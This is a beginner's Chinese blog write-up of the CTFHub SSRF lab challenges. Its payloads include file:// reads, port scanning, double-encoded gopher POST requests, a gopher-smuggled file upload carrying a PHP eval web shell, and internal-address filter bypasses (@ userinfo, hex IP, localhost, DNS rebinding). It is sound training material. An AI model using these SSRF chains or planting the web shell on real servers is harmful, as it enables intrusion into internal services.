初识CTF Day4 CTFHUBSSRF

前言
这一次是对ssrf的探索,ctfhub技能树web就快结束了,期待淦进阶
从post开始,多谢了csdn大佬的博客,那个文章写的非常好,相较于我的会更加专业
这里附上链接https://blog.csdn.net/rfrder/article/details/108589988,感谢
若是纯纯的新手,那还是往下看吧,大佬们可以直接点击链接,不喜勿喷
正文

SSRF

内网访问

题目告诉访问127就直接访问下试试,但是没想到这么简单
?url=127.0.0.1/flag.php
1

伪协议读取文件

题目提示:尝试去读取一下Web目录下的flag.php吧
可以联想到web目录一般是存放在 var/www/html/ 里面
所以payload如下
?url=file:///var/www/html/flag.php
进入该页面,查看页面源代码得到flag

端口扫描

题目提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
所以直接开始构造payload,然后抓包跑包
?url=127.0.0.1:80
将端口号,即80的位置改为8000到9000的所有数字
跑包返回值不同的极有可能是flag,所以点开看下返回包
在这里插入图片描述成功得到flag,本题结束

POST请求

进入题目后首先从127.0.0.1访问下flag.php
?url=127.0.0.1/flag.php
发现页面只有一个框框,输入任意数值回车,网页提示Just View From 127.0.0.1
返回框框页面,查看源代码得到key,现在还不知道key有什么用
在这里插入图片描述回去看了一眼题目描述
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.

抓个包看看,但是没看出来什么东西
参照了大佬的解法,发现里面需要使用gopher协议
上网查了下这个协议

Gopher协议格式:

URL:gopher://:/_后接TCP数据流

gopher的默认端口是70如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
具体请参照https://baijiahao.baidu.com/s?id=1666024412704315446&wfr=spider&for=pc

但是实在是没有搞懂,就先把大佬编译好的payload拿来用了,去url解码了两次得到最初的构造:

GET /?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=67b35d0520e528b57f27a44fd80b939e HTTP/1.1

对burp进行相应的修改,发包,发现???
ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}
也不知道为啥直接就出flag了
在这里插入图片描述但是这是个假flag
在这里插入图片描述。。。。这里已经重启环境四次了,我实在不想写了,若是以后学习到了一定会回来补上

啊哈!,经过了十分钟的修WiFi历程,我再次尝试,他出现了!!!!!!
在这里插入图片描述payload如下:
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da2e0f4b14e5663c30ec2a8396592e563%20HTTP/1.1

最简单的就是把大佬的payload拿过来改成自己的key值这里加粗的部分就是key
把这个东西直接贴到url中即可
我个菜鸟就只能先这么做了,以后一定会深入研究ssrf的,但可能是很久以后。。。

上传文件

这道题目困扰了好久,终于解出来了
参考了多份wp,但是参考的太多了就不一一列举了
这里附带上最容易操作的一篇,感谢大佬的博客
https://senimo.blog.csdn.net/article/details/118464358
下面是解题过程

在这里插入图片描述这里有个文件上传的功能,但是没有提交的按钮,所以用前端代码写一个

<input type="submit" name="submit">

在这里插入图片描述然后使用burp抓包,将Host改为Host: 127.0.0.1:80
将包中的全部内容复制到url编码器中进行编码

在这里插入图片描述这是首次编码的结果
POST%20%2fflag.php%20HTTP%2f1.1%0AHost:%20127.0.0.1:80%0AUser-Agent:%20Mozilla%2f5.0%20(Windows%20NT%2010.0;%20Win64;%20x64;%20rv:84.0)%20Gecko%2f20100101%20Firefox%2f84.0%0AAccept:%20text%2fhtml,application%2fxhtml%2bxml,application%2fxml;q=0.9,image%2fwebp,%2a%2f%2a;q=0.8%0AAccept-Language:%20zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%0AAccept-Encoding:%20gzip,%20deflate%0AContent-Type:%20multipart%2fform-data;%20boundary=---------------------------15947531109096836272552357223%0AContent-Length:%20362%0AOrigin:%20http:%2f%2fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%0AConnection:%20close%0AReferer:%20http:%2f%2fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%2f?url=127.0.0.1%2fflag.php%0ACookie:%20UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%0AUpgrade-Insecure-Requests:%201%0A%0A-----------------------------15947531109096836272552357223%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%221.txt%22%0AContent-Type:%20text%2fplain%0A%0A%3C?php%20eval%20REQUEST(8)%20?%3E%0A-----------------------------15947531109096836272552357223%0AContent-Disposition:%20form-data;%20name=%22submit%22%0A%0A%C3%A6%C2%8F%C2%90%C3%A4%C2%BA%C2%A4%C3%A6%C2%9F%C2%A5%C3%A8%C2%AF%C2%A2%0A-----------------------------15947531109096836272552357223--%0A

然后进行替换,将%0A替换为%0D%0A
在这里插入图片描述再进行第二次编码,下面是结果在这里插入图片描述

POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla%252f5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko%252f20100101%2520Firefox%252f84.0%250D%250AAccept:%2520text%252fhtml,application%252fxhtml%252bxml,application%252fxml;q=0.9,image%252fwebp,%252a%252f%252a;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart%252fform-data;%2520boundary=---------------------------15947531109096836272552357223%250D%250AContent-Length:%2520362%250D%250AOrigin:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%252f?url=127.0.0.1%252fflag.php%250D%250ACookie:%2520UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text%252fplain%250D%250A%250D%250A%253C?php%2520eval%2520REQUEST(8)%2520?%253E%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------15947531109096836272552357223--%250D%250A

之后到初始页面抓个包
在这里插入图片描述使用gather进行请求,将最初页面抓到的数据包改为这个样子,如下图
在这里插入图片描述payload格式:
gopher://127.0.0.1:80/_编码

当然这里也可以不抓包,直接放到url里面,如下图
在这里插入图片描述
我的payload:(这里我放的是整个数据包的内容哦)

GET /?url=gopher://127.0.0.1:80/_POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla%252f5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko%252f20100101%2520Firefox%252f84.0%250D%250AAccept:%2520text%252fhtml,application%252fxhtml%252bxml,application%252fxml;q=0.9,image%252fwebp,%252a%252f%252a;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart%252fform-data;%2520boundary=---------------------------15947531109096836272552357223%250D%250AContent-Length:%2520362%250D%250AOrigin:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http:%252f%252fchallenge-609d142b748d1a4f.sandbox.ctfhub.com:10800%252f?url=127.0.0.1%252fflag.php%250D%250ACookie:%2520UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text%252fplain%250D%250A%250D%250A%253C?php%2520eval%2520REQUEST(8)%2520?%253E%250D%250A-----------------------------15947531109096836272552357223%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------15947531109096836272552357223--%250D%250A HTTP/1.1
Host: challenge-609d142b748d1a4f.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c0c6a2f3120f-0b6e3eac15808f8-4c3f207e-144000-17c0c6a2f33689
Upgrade-Insecure-Requests: 1

得到flag,该题目结束

FastCGI协议

题目中给了一个附件https://blog.csdn.net/mysteryflower/article/details/94386461是一篇讲解Fastcgi协议的博客
大家可以去先阅读一下(先不要开题目,会计时的)
这题没解出来,因为没有安装fastcgi服务
等我装好后一定回来更新这题
这里给出大佬的文章供大家参考
https://blog.csdn.net/qq_51652864/article/details/118697060?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163315614516780255298591%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=163315614516780255298591&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-118697060.first_rank_v2_pc_rank_v29&utm_term=ctfhubFastCGI%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187

Redis协议

这里我也不会做。。。
附带上wp(我的水平还是不会操作,还有待学习)
https://blog.csdn.net/rfrder/article/details/108589988

URL Bypass

参考大佬的文章得知
http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容
现在我的水平先不讨论原理,就先功利一些,知道怎么做题就行了
大致上就是域名+@+内网地址实现SSRF
payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
在这里插入图片描述(看到这种题目我又再次燃起了ctf的希望,也许我可以做个签到题)

数字IP Bypass

这里直接访问127.0.0.1/flag.php,网页提示127,172,@都被ban(封禁)了
很明显不可以使用上题的方法进行解题
在这里插入图片描述ip地址有十进制和十六进制两种表示方式,所以这里可以使用十六进制进行绕过
在这里插入图片描述在这里插入图片描述
成功得到flag

302跳转 Bypass

直接访问127.0.0.1/flag.php,页面如下图
在这里插入图片描述
读取一下代码
在这里插入图片描述但不知为啥我读取不到,网上的师傅们都可以拿到,我裂开来
算了,直接尝试localhost绕过
在这里插入图片描述成功拿到flag

DNS重绑定 Bypass

这里附带上附件地址https://zhuanlan.zhihu.com/p/89426041
在这里插入图片描述
还用到一个地址,是用来绑定两个域名的https://lock.cmpxchg8b.com/rebinder.html

在这里插入图片描述成功拿到flag

在这里插入图片描述
总结
在这里插入图片描述
(最后做成了这样,Redis看wp没看不明白这么用那个脚本,所以就没有做这个题目)

左边这三个都是比较简单的运用的语句也就是下面这三条
?url=127.0.0.1/flag.php
?url=file:///var/www/html/flag.php
?url=127.0.0.1:80
是比较简单的SSRF

中间的这四道题是最有技术含量的了,可是我现在还没有技术,不配独立做出他们
前面的两个是通过gother协议去解题,需要进行url编码绕过,没有涉及到环境和脚本,相对于下面那两道题目而言算是简单的

右边的四道题目可以总结成对于内网地址的绕过
方法如下:

  1. 通过 域名@内网地址 的方式绕过
  2. 通过 十六进制编码 的方式绕过
  3. 通过 localhost 的方式绕过
  4. 通过 DNS重定向 的方式绕过

其中稍有难度的是第四种,使用一个域名绑定了两个IP地址,转换地址为https://zhuanlan.zhihu.com/p/89426041

后话
这样对于SSRF的初步探索就算暂时结束了,那两个题目一定会找时间再做出来的,也会在这篇文章中进行更新,那些做出来的题目,我认为已经算是比较详细的了,类似于手把手解题,若以上有没做出来的题目可以评论区留言或者私信我,拜拜啦

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值